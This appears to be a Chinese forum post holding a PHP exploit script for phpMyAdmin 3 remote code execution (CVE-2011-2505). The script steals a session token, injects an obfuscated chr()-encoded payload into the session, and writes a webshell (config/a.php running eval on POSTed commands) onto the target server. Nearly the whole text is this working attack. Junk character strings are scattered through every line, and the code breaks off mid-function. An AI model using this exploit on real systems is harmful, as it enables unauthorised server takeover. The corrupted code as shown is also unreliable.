: ~9 V p1 g% w' j于是写了这个php版本的exp,代码如下:1 W) Q H+ N; K% v! c, X- y0 A
: @, c3 ?% C; o# F
#!/usr/bin/php $ Z# o( [& t" ~. j8 f3 Z' O<?php }6 F3 R: ~3 K( u3 \print_r('# L' O0 z/ U* C, C( g
+---------------------------------------------------------------------------+ * W. g8 Q/ G& r$ ?4 K& R" a* ypma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)] 0 @( P# { k, D( `. |" Cby oldjun(www.oldjun.com)5 ~1 B' K6 s- h8 [, M m5 {
welcome to www.t00ls.net ; w% T, \; Q( mmail: oldjun@gmail.com ' b. k1 B9 o& q2 D3 y9 mAssigned CVE id: CVE-2011-2505 8 D5 {" s! X; G t2 f+---------------------------------------------------------------------------+ % x# B. f8 b# J% {');3 S9 o9 A) N6 D0 W7 p
5 }* u: m4 f, {
/**7 J V( u' s2 |8 a
* working when the directory:"config" exists and is writeable. 1 x2 M. r0 Z! p+ B**/0 `7 I7 S' k1 M" B' |: _' N6 g0 @
$ ~/ o+ o* `7 L- |
if ($argc < 3) { ' ~0 Y( X) p( `2 B) c+ g0 } print_r(' & n+ k! ?# p1 M! O8 ^2 {$ b: I+---------------------------------------------------------------------------+ " Q4 R7 w8 G6 C* l0 B& s# OUsage: php '.$argv[0].' host path. D# U/ w# g9 T4 Q
host: target server (ip/hostname)0 N" k3 s; X+ p. {! d8 B& j# g
path: path to pma3 ( E$ q$ L, @1 c1 _+ J8 c7 Z5 LExample:- j/ u! i/ z6 a& h: y
php '.$argv[0].' localhost /pma/ 5 R! J+ \, N; _ x4 o+---------------------------------------------------------------------------+& r+ a# @8 s$ m' t& `& M: D
'); ) T1 I p& {2 ^4 o( K( q- v exit; / q8 z1 k8 o5 @/ K- v- X}; K" O+ t) o8 M
+ S' q) l6 S$ l; g$host = $argv[1]; 8 u, @1 h$ ?# t4 n$path = $argv[2]; ; t1 j0 J, b+ `8 H% n U: K0 `( w1 X: [: ~3 v A
/**6 Y- Z# ~; J0 C
* Try to determine if the directory:"config" exists 9 _3 H" y( q5 t" _1 d9 F**/ c' h8 N' D1 Y6 f
echo "[+] Try to determine if the directory:config exists....\n"; 2 k8 c) P2 j m0 T$returnstr=php_request('config/'); : K1 [! r( O+ Q1 Fif(strpos($returnstr,'404')){ M. X5 \7 c% m, B) R' J
exit("[-] Exploit Failed! The directory:config do not exists!\n");# M, E1 B0 q: j, b" b
}$ n4 A/ Y" N9 _( h- U0 w. E& g+ u7 ~
& I& K3 A6 B1 U0 j1 M$ b/**. Z# V& C' l1 o3 \
* Try to get token and sessionid * m v0 S1 a2 N) q0 D**/7 N8 n" P6 m+ j
echo "[+] Try to get token and sessionid....\n"; 5 N' y* v" P/ l' W2 [8 C I( o$result=php_request('index.php');8 Y, r9 q6 L, J5 E$ O% Y1 f
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp); 4 f. d1 v0 E1 \* ?5 Z; s6 R2 p$token=$resp[3];; i) ]0 @, D1 X6 i
$sessionid=$resp[1]; 7 ]* P) P0 L/ d' t: Hif($token && $sessionid){/ R5 E+ J! {! |" ~
echo "[+] tokentoken\n";& w. j8 _7 o: v/ `( i3 r: L
echo "[+] Session IDsessionid\n";8 F' i6 i6 T/ {5 ~
}else{5 ~6 o. \9 t9 I8 v3 ^; W
exit("[-] Can't get token and Session ID,Exploit Failed!\n"); 2 O# u1 W0 d/ K# I- |} / u, K' X. B" g9 K+ y ( S3 T9 w$ m P8 H# ^/**0 d, U7 P! \! p* U# t9 V
* Try to insert shell into session . y3 D" V: }7 A& E**/ 7 s* D" e4 s. ?3 u& k1 r1 p G+ Yecho "[+] Try to insert shell into session....\n";- O; K) m W7 c# i$ r
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.# `. A+ T. k. j7 n7 L4 A4 ]
5 B) c& O+ e% E! @$ T+ j% v" M/**5 u+ b) i6 D M1 D
* Try to create webshell' ^6 J* [% |: T
**// V; E+ K: u: z0 E& w( v
echo "[+] Try to create webshell....\n";! ]( p, P! V/ z
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid); 1 q# I' ]" g/ L2 v* }& o' m/** K- B3 X- d. @! s * Try to check if the webshell was created successfully7 j2 R+ U* h9 ^0 d* Z
**/2 l/ H) p; W+ ^# d
echo "[+] Try to check if the webshell was created successfully....\n"; 0 G8 I ~( M% S1 w7 @) _3 X' {$content=php_request('config/config.inc.php');' X3 P0 q& I9 v9 a) X/ y
if(strpos($content,'t00ls')){ % d7 q& X3 B1 _$ P' O, ]* i7 e% c echo "[+] Congratulations! Expoilt successfully....\n";* b7 D+ ^' ^/ X; u
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";% ^5 _5 i# v0 M2 h$ Z& M
}else{# r+ X" ~' c) M/ i. {) V
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n"); . U' G( m+ r- p' F4 [8 P} # @5 b( K+ ?8 @+ x# }$ c" H& `' W2 f7 ^
function php_request($url,$data='',$cookie=''){. _- `* S! W- z! p- U$ w
global $host, $path;# d- I& x, k! A/ H: k D
; x2 N( T0 D5 V $method=$data?'POST':'GET'; 7 f# Z; Y( l; a7 ]3 ?! X1 A* z 5 s9 Z( r1 ^; n $packet = $method." ".$path.$url." HTTP/1.1\r\n"; ' b: t9 h& S& g5 X. G ^ $packet .= "Accept: */*\r\n";% {0 M0 W: o% z# a, T
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";; o n+ C$ c8 `6 A2 c; M" d
$packet .= "Host: $host\r\n"; _! I% d; A5 i) E $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";- V( U5 H& y; S
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":""; ' t* W/ |" }8 G$ h6 U4 S1 m $packet .= $cookie?"Cookie: $cookie\r\n":""; , X4 g& G+ T& ~" `" r. u. y) C $packet .= "Connection: Close\r\n\r\n"; * [3 O6 A; b& m( r- Q5 b% v $packet .= $data?$data:""; $ w$ \( F3 G$ o* ^) H6 ?* N+ d" m! f- @& g, b
$fp = fsockopen(gethostbyname($host), 80); 2 K5 h) s- `0 k0 @/ e9 d6 {6 o if (!$fp) {( d$ S' D+ F; `* C* h' S$ R
echo 'No response from '.$host; die;! T" F' q, |6 D5 I
} " W( ] Z5 V1 x8 }% T fputs($fp, $packet); ) t! O1 t0 `. g& u: L 6 O9 ^9 a& M; N0 j3 L2 P$ g $resp = '';4 v- E- @8 W1 e% W% A3 m: }